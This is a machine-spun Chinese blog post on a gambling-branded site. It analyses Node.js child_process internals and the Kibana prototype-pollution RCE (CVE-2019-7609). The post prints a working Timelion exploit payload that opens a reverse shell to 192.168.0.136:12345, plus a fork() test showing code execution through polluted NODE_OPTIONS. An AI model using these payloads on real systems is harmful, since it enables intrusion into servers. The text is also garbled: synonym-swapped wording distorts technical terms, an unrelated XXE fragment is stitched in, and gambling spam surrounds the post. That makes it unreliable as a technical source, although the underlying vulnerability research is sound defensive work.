欢迎访问Sunbet官网(www.sunbet.us),Allbet欧博官网(www.ALLbetgame.us)!

首页Sunbet_安全防护正文

从Kibana-RCE对nodejs子历程建立的思索

b9e08c31ae1faa592020-08-15238Web安全安全技术

从Kibana-RCE对nodejs子历程竖立的思索

在前几天Kibana有一则关于原型链污染+子历程挪用=>rce的破绽,跟进剖析的时刻发明child_process完成子历程竖立确切存在trick。因而有了下文是对child_process的完成和Kibana RCE的一点思索。

child_process竖立子历程的完成

关于child_process人人应当都不生疏,它是nodejs内置模块,用于新建子历程,在CTF题目中也常运用require('child_process').exec('xxx')来RCE。 child_process内置了6个要领:execFileSync、execSync、fork、exec、execFile、spawn() 个中execFileSync()挪用spawnSync(),execSync()挪用spawnSync(),而spawnSync()挪用spawn();exec()挪用execFile(),而execFile()挪用spawn();fork()挪用spawn()。也就是说前6个要领终究都是挪用spawn(),而spawn()的实质是竖立ChildProcess的实例并返回。那我们直接对spawn这个要领举行剖析 测试代码:
const { spawn } = require('child_process');

spawn('whoami').stdout.on('data', (data) => {
    console.log(`stdout: ${data}`);
  });
Node运用模块child_process竖立子历程时,挪用用户层面的spawn要领。初始化子历程的参数,进入要领normalizeSpawnArguments
var spawn = exports.spawn = function(/*file, args, options*/) {
  var opts = normalizeSpawnArguments.apply(null, arguments);
};
跟进要领normalizeSpawnArguments,当options不存在时将options命为空对象。接着到下面最症结的一步,即猎取env变量的体式格局。起首对options.env是不是存在做了推断,假如options.env为undefined则将环境变量process.env的值复制给env。然后对envParivs这个数组举行push操纵,实在就是env变量对应的键值对。
function normalizeSpawnArguments(file, args, options) {
    ...//省略
  if (options === undefined)
    options = {};

    ...//省略
  var env = options.env || process.env;
  var envPairs = [];

  for (var key in env) {
    envPairs.push(key + '=' + env[key]);
  }

  _convertCustomFds(options);

  return {
    file: file,
    args: args,
    options: options,
    envPairs: envPairs
  };
}
  这里就存在一个题目,options默以为空对象,那末它的任何属性都存在被污染的能够。所以只需能污染到Object.prototype,那末options就能够增添我们想要的任何属性,包括options.env。经由normalizeSpawnArguments封装并返回后,竖立新的子历程new ChildProcess(),这里才算进入内部child_process的完成。
var opts = normalizeSpawnArguments.apply(null, arguments);
var options = opts.options;
var child = new ChildProcess();

child.spawn({
file: opts.file,
args: opts.args,
cwd: options.cwd,
windowsVerbatimArguments: !!options.windowsVerbatimArguments,
detached: !!options.detached,
envPairs: opts.envPairs,
stdio: options.stdio,
uid: options.uid,
gid: options.gid
});
我们直接看ChildProcess.spawn如何完成,也就是原生的spawn。中心代码逻辑是下面的两句,详细代码在process_wrap.cc
ChildProcess.prototype.spawn = function(options) {
  //...
  var err = this._handle.spawn(options);
  //...
  // Add .send() method and start listening for IPC data
  if (ipc !== undefined) setupChannel(this, ipc);
  return err;
};
this._handle.spawn挪用了process_wrap.cc的spawn来生成子历程,是node子历程竖立的底层完成,那我们看一下process_wrap.cc中对options的值举行了如何的操纵,。
static void Spawn(const FunctionCallbackInfo<Value>& args) {
    //猎取js传过来的第一个option参数
    Local<Object> js_options = args[0]->ToObject(env->context()).ToLocalChecked();

    ...
    // options.env
    Local<Value> env_v =
        js_options->Get(context, env->env_pairs_string()).ToLocalChecked();
    if (!env_v.IsEmpty() && env_v->IsArray()) {
      Local<Array> env_opt = Local<Array>::Cast(env_v);
      int envc = env_opt->Length();
      CHECK_GT(envc + 1, 0);  // Check for overflow.
      options.env = new char*[envc + 1];  // Heap allocated to detect errors.
      for (int i = 0; i < envc; i++) {
        node::Utf8Value pair(env->isolate(),
                             env_opt->Get(context, i).ToLocalChecked());
        options.env[i] = strdup(*pair);
        CHECK_NOT_NULL(options.env[i]);
      }
      options.env[envc] = nullptr;
    }
    ...

    //挪用uv_spawn生成子历程,并将父历程的event_loop通报过去
    int err = uv_spawn(env->event_loop(), &wrap->process_, &options);
    //省略
  }
代码只截取了对env这个属性的操纵,它将本来的envPairs举行封装。末了一切options带入uv_spawn来生成子历程,在uv_spawn中就是通例的fork()、waitpid()来掌握历程的发生和资本开释,不过有一个非常重要的完成以下:
//process.cc->uv_spawn()

execvp(options->file, options->args);
execvp来实行任务,这里的options->file就是我们最初传给spawn的参数。比方我们的例子是spawn('whoami'),那末此时的file就是whoami,固然关于有参数的敕令,则options->args与之对应。

总结流程

child_process竖立子历程的流程看起来有些庞杂,总结一下: 1、初始化子历程须要的参数,设置环境变量 2、fork()竖立子历程,并用execvp实行体系敕令。 3、ipc通讯,输出捕获

Kibana-RCE

破绽剖析

起首援用破绽原作者的举例 从Kibana-RCE对nodejs子历程建立的思索  Web安全 安全技术 第1张 node的官方文档中也能找到雷同的用例:https://nodejs.org/api/cli.html#cli_node_options_options node版本>v8.0.0今后支撑运转node时增添一个敕令行参数NODE_OPTIONS,它能够包括一个js剧本,相当于include。 在node历程启动的时刻作为环境变量加载,经由过程打印process.env也能证实
XML外部实体注入 前言: 最近做了一道WEB题,涉及到XML外部实体注入(即XXE漏洞),恰好也没有系统的学习过,这次就了解一下XXE漏洞。 0x01:简单了解XML XML 指可扩展标记语言(EXtensible Markup Language) XML 是一种标记语言,很类似 HTML XML 被设计为传输和存储数据,其焦点是数据的内容 XML 被设计用来结构化、存储以及传输信息 XML 允许创作者定义自己的标签和自己的文档结构 XML的优点: xml是互联网数据传输的重要工具,它可以跨越互联网任何的平台,不受编程语言和操作系统的限制,非常
hpdoger@ChocoMacBook-Pro$ NODE_OPTIONS='--require ./evil.js' node
success!!!

> process.env.NODE_OPTIONS
'--require ./evil.js'
假如我们能转变当地环境变量,则在node竖立历程的时刻就能够包括歹意语句。尝试用export来完成以下。 从Kibana-RCE对nodejs子历程建立的思索  Web安全 安全技术 第2张 事实证实,只需发生新历程就会加载一次当地环境变量,存储情势为process.env,若env中存在NODE_OPTIONS则举行响应的加载。然则这类须要bash破绽就是耍流氓,因而作者想到了一种要领来污染process.env,也就是上文剖析的env的猎取,因而有了Kibana的poc
.es(*).props(label.__proto__.env.AAAA='require("child_process").exec("bash -i >& /dev/tcp/192.168.0.136/12345 0>&1");process.exit()//')
.props(label.__proto__.env.NODE_OPTIONS='--require /proc/self/environ')
node运转时会把当前历程的env写进体系的环境变量,子历程也一样,在linux中存储为/proc/self/environ。经由过程污染env把歹意的语句写进/proc/self/environ。同时污染process.NODE_OPTIONS属性,使node在生成新历程的时刻,包括我们组织的/proc/self/environ。详细操纵就相似下面的用法 从Kibana-RCE对nodejs子历程建立的思索  Web安全 安全技术 第3张 污染了Object.env以后,应用Canvas生成新历程的时刻会实行spawn从而RCE

应用前提

最最先我并没有跟进Kibana的源码,只是把破绽归结于:
污染Object.env+竖立子历程 => RCE
因而我做了下面的测试,发明并没有像我设想中的输出evil.js中的内容,然则NODE_OPTIONS确切被写进了子历程的env。 当我将历程竖立换为proc.fork()时,则胜利加载了evil.js并输出 child_process.fork() 要领是 child_process.spawn() 的一个惯例,特地用于衍生新的 Node.js 历程。 与 child_process.spawn() 一样返回 ChildProcess 对象。所以fork挪用的是spawn来完成的子历程竖立,那怎样会有这类状况?跟进一下fork看看完成有什么差别
exports.fork = function(modulePath /*, args, options*/) {
    ...//省略
    options.execPath = options.execPath || process.execPath;
    return spawn(options.execPath, args, options);
}
它处置惩罚了execPath这个属性,默许猎取体系变量的process.execPath,再传入spawn,这里就是node。 而我们用spawn时,处置惩罚获得的file为whoami 上文剖析child_process在子历程竖立的最底层,会挪用execvp实行敕令实行file
execvp(options->file, options->args);
而上面poc中心就是NODE_OPTIONS='--require /proc/self/environ' node,即bash挪用了node去实行。所以此处的file值必需为node,不然没法将NODE_OPTIONS载入。而直接挪用spawn函数时必需有file值,这也造成了第一种代码没法加载evil.js的状况 从Kibana-RCE对nodejs子历程建立的思索  Web安全 安全技术 第4张 经由测试exec、execFile函数不管传入什么敕令,file的值都会为/bin/sh,由于参数shell默以为true。纵然不传入options选项,这两个敕令也会默许定义options,这也是child_process防备敕令实行的一种门路。 从Kibana-RCE对nodejs子历程建立的思索  Web安全 安全技术 第5张 然则shell这个变量也是能够被污染的,不过child_process在这里做了限定,纵然shell===false或字符串。终究传到execvp时也会被实行的参数替换,而不是真正的node历程。 如许看来在污染了原型的前提下,child_process只要举行了fork()的时刻,才到达破绽的应用。不过如许的应用面确切太窄了,假如有师傅研讨过其他函数的实行spawn时能启动node历程,能够交换一下思绪 所以回到fork()函数,我们能够考证包括/proc/self/environ是可行的
// test.js
proc = require('child_process');
var aa = {}
aa.__proto__.env = {'AAAA':'console.log(123)//','NODE_OPTIONS':'--require /proc/self/environ'}
proc.fork('./function.js');

//function.js
console.log('this is func')
  同时能够看到,fork在指定了modulepath的状况下,包括environ的同时并不影响modulepath中代码的实行。

相干链接

Exploiting prototype pollution – RCE in Kibana (CVE-2019-7609) spawn、exec、execFile和fork Kibana破绽之javascript原型链污染  

网友评论

1条评论
  • 2020-08-15 00:01:28

    Allbetwww.xaks68887722.com欢迎进入欧博开户平台(Allbet Gaming),欧博开户平台开放欧博(Allbet)开户、欧博(Allbet)代理开户、欧博(Allbet)电脑客户端、欧博(Allbet)APP下载等业务看得很真实